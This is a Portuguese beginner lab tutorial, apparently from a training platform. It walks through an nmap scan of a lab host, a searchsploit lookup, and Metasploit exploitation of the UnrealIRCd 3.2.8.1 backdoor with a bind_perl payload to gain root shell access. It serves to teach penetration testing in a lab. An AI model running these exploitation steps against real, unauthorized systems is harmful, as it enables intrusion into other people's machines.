Use o Nmap para Escanear e Explorar Vulnerabilidades do Host Alvo

NmapBeginner
Pratique Agora

Introdução

A varredura de rede (network scanning) é uma disciplina extremamente prática. Através da varredura de rede, os utilizadores podem descobrir as portas atribuídas a vários serviços no host alvo, serviços abertos, software e versões dos serviços, e outras informações.

Neste laboratório, você aprenderá como escanear vulnerabilidades de segurança de serviços de rede de um host alvo.

Use o Nmap para Escanear Portas Abertas no Host Alvo

O fluxo de trabalho básico da varredura de rede (network scanning) é o seguinte:

  1. Descobrir o host alvo
  2. Varredura de portas (port scanning)
  3. Varredura de informações de impressão digital (fingerprint information scanning)
  4. Varredura de vulnerabilidades (vulnerability scanning)
  5. Realizar ataques de penetração

Nmap (Network Mapper) é uma poderosa ferramenta de varredura de rede. Ele suporta várias técnicas de varredura, como UDP, TCP connect(), TCP SYN (varredura half-open), proxy FTP (ataque bounce), flag reverse, ICMP, FIN, ACK scanning, SYN scanning e null scanning.

Neste passo, você usará o Nmap para escanear as portas abertas no host alvo.

  1. Abra um terminal e entre no container Kali:
docker run -ti --network host b5b709a49cd5 bash
  1. Use o comando nmap para escanear o host alvo 192.168.122.102:
nmap -p 1-65535 -T4 -A -v 192.168.122.102 > /tmp/report.txt

Este comando escaneia todas as portas de 1 a 65535 no host alvo, com uma política de tempo de 4 (mais rápido), habilita a identificação de impressão digital do sistema operacional e a detecção de versão, e salva a saída em /tmp/report.txt.

Analisar os Resultados da Varredura

Após escanear o host alvo, você precisa analisar os resultados da varredura para identificar potenciais vulnerabilidades.

  1. Visualizar o relatório da varredura:
cat /tmp/report.txt

Este comando exibe o conteúdo do arquivo /tmp/report.txt, que contém informações sobre as portas abertas, serviços e versões no host alvo. Aqui está um exemplo da saída que você pode ver:

Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-23 15:28 UTC
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating ARP Ping Scan at 15:28
Scanning 192.168.122.102 [1 port]
Completed ARP Ping Scan at 15:28, 1.42s elapsed (1 total hosts)
Nmap scan report for 192.168.122.102 [host down]
NSE: Script Post-scanning.
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 1.98 seconds
           Raw packets sent: 2 (56B) | Rcvd: 0 (0B)
  1. Use a ferramenta searchsploit para pesquisar informações sobre vulnerabilidades:
searchsploit unreal ircd

Este comando pesquisa no Exploit Database por vulnerabilidades relacionadas ao serviço "unreal ircd". Aqui está um exemplo da saída que você pode ver:

---------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                  |  Path
---------------------------------------------------------------------------------------------------------------- ---------------------------------
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit)                                                    | linux/remote/16922.rb
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow                                                         | windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute                                                                  | linux/remote/13853.pl
UnrealIRCd 3.x - Remote Denial of Service                                                                       | windows/dos/27407.pl
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
  1. Visualizar os detalhes de uma vulnerabilidade:
cat /usr/share/exploitdb/exploits/linux/remote/16922.rb

Este comando exibe o conteúdo do arquivo de exploit de vulnerabilidade localizado em /usr/share/exploitdb/exploits/linux/remote/16922.rb.

Explorar uma Vulnerabilidade

Após analisar os resultados da varredura e identificar potenciais vulnerabilidades, você pode tentar explorar uma vulnerabilidade para um ataque de penetração.

  1. Identifique uma vulnerabilidade explorável a partir dos resultados da varredura. Por exemplo, vamos supor que a varredura encontrou uma porta aberta 6667 com um serviço vulnerável.

  2. Inicie o Metasploit Framework:

cd ~
msfconsole
  1. No console do Metasploit, selecione o módulo de exploit apropriado:
use exploit/unix/irc/unreal_ircd_3281_backdoor
  1. Defina o endereço IP do host alvo:
set RHOST 192.168.122.102
  1. Defina o payload (carga útil):
set PAYLOAD cmd/unix/bind_perl
  1. Lance o exploit:
exploit

Se a exploração for bem-sucedida, você obterá acesso ao host alvo.

  1. Após tentar explorar uma vulnerabilidade, você deve verificar se a exploração foi bem-sucedida. Na sessão do Metasploit, verifique o usuário atual e o nome do host:
whoami
hostname

Se a saída mostrar que você está logado como o usuário root e o nome do host corresponder ao host alvo, a exploração foi bem-sucedida.

Pressione Ctrl+D para sair do console do Metasploit e então iniciar a inspeção

Resumo

Neste laboratório, você aprendeu o fluxo de trabalho básico da varredura de rede, que inclui a descoberta do host alvo, a varredura de portas, a varredura de informações de impressão digital (fingerprint), a varredura de vulnerabilidades e a realização de ataques de penetração. Você utilizou a poderosa ferramenta Nmap para escanear as portas abertas no host alvo e analisou os resultados da varredura para identificar potenciais vulnerabilidades. Além disso, você aprendeu como pesquisar informações sobre vulnerabilidades usando a ferramenta searchsploit e como explorar uma vulnerabilidade usando o Metasploit Framework. Por fim, você verificou o sucesso da exploração, verificando o usuário atual e o nome do host no host alvo.

Através deste laboratório prático, você adquiriu experiência prática na varredura de vulnerabilidades de segurança de serviços de rede e na realização de ataques de penetração. Este conhecimento é crucial para garantir a segurança dos sistemas de rede e identificar riscos potenciais.